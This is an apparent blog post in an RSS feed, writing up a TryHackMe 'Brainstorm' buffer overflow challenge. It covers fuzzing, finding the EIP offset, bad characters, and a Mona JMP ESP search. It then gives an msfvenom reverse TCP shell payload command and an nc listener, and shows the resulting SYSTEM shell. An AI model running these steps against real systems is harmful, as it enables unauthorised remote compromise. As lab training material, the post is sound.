&lt;p&gt;The application crashed at around 2700 bytes. Immunity Debugger showed EIP overwritten with 41414141 — classic AAAA. My pulse picked up. This was real.&lt;/p&gt;

&lt;p&gt;Step 2 — Finding the offset. I used Metasploit's pattern tools to pinpoint exactly where EIP gets overwritten:&lt;br&gt;
bashmsf-pattern_create -l 3000&lt;br&gt;
msf-pattern_offset -l 3000 -q &lt;br&gt;
Offset: 2012 bytes. Perfect.&lt;/p&gt;

&lt;p&gt;Step 3 — Bad characters. Sent all characters from \x00 to \xff to find which ones corrupt the payload. After careful analysis in Immunity, I found only \x00 was a bad character. Clean exploit incoming.&lt;/p&gt;

&lt;p&gt;Step 4 — Finding a JMP ESP. Used Mona to find a reliable jump point in essfunc.dll:&lt;br&gt;
bash!mona jmp -r esp -cpb "\x00"&lt;/p&gt;

&lt;p&gt;Got a clean address with no ASLR, no DEP. Beautiful.&lt;br&gt;
Step 5 — Shellcode. Generated a reverse shell payload:&lt;br&gt;
bashmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py&lt;/p&gt;

&lt;p&gt;The End — Shell Dropped&lt;br&gt;
I assembled the final exploit — padding, EIP overwrite, NOP sled, shellcode — and fired it at the real target machine.&lt;br&gt;
Started my listener:&lt;br&gt;
bashnc -lvnp 4444&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Ran the exploit. Three seconds of silence. Then:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP]&lt;br&gt;
Microsoft Windows [Version 6.1.7601]&lt;br&gt;
C:\Windows\system32&amp;gt;&lt;br&gt;
SYSTEM shell. First try.&lt;br&gt;
No privilege escalation needed — the chat server was running as SYSTEM already. Sometimes the box just gives it to you once you've done the hard work.&lt;/p&gt;

&lt;p&gt;What I Learned&lt;/p&gt;

&lt;p&gt;Buffer overflows aren't magic — they're methodical. Fuzz → offset → bad chars → JMP ESP → shellcode. Follow the steps.&lt;br&gt;
Always grab files from anonymous FTP. Devs leaving executables exposed is more common than you'd think in the real world.&lt;br&gt;
Immunity Debugger + Mona.py is a combo every pentester needs in their toolkit.&lt;br&gt;
Patience is the skill. This room took me 3 hours. Every minute was worth it.&lt;/p&gt;

&lt;p&gt;Tools Used&lt;br&gt;
ToolPurposeNmapReconnaissanceNetcatService interactionPythonFuzzer &amp;amp; exploit scriptImmunity DebuggerCrash analysisMona.pyOffset &amp;amp; JMP ESP findingMsfvenomShellcode generation&lt;/p&gt;

&lt;p&gt;If you're just starting out with buffer overflows, I highly recommend Brainstorm as your first Hard room — it teaches you the full BOF methodology in one clean box.&lt;br&gt;
Happy hacking. Stay ethical. 🔐&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>security</category>
      <category>ctf</category>
      <category>bufferoverflow</category>
    </item>
  </channel>
</rss>
